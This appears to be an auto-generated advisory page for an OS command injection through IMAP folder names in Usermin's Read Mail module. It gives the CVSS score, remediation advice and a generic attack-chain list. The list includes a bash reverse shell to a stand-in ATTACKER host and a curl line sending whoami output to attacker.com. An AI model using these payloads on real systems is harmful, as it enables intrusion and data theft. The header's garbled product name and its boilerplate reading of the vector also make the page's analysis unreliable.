CVE-2026-123620 — Read Mail module that — CWE-78
CVE-2026-123620 is a HIGH severity Remote Code Execution (RCE) vulnerability (CWE-78) (CVSS 7.5/10) affecting Read Mail module that. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
Usermin through 2.570 contains an OS command injection vulnerability in the Read Mail module that allows authenticated users to execute commands through unsanitized IMAP folder names. Attackers can create a folder containing shell metacharacters via an external IMAP client, then delete it in Usermin to run commands as their system account, bypassing webmail-only restrictions.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-123620
CVSS 7.5/10 · HIGH · 06.11.2026
CWE: CWE-78
Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: Usermin through 2.570 contains an OS command injection vulnerability in the Read Mail module that allows authenticated users to execute commands through unsanitized IMAP folder names. Attackers can create a folder containing shell metacharacters via an external IMAP client, then delete it in Usermin to run commands as their system account, bypassing webmail-only restrictions.
⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)
🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Never pass user input to shell commands.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
⚠️ Planned maintenance (2 weeks).
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]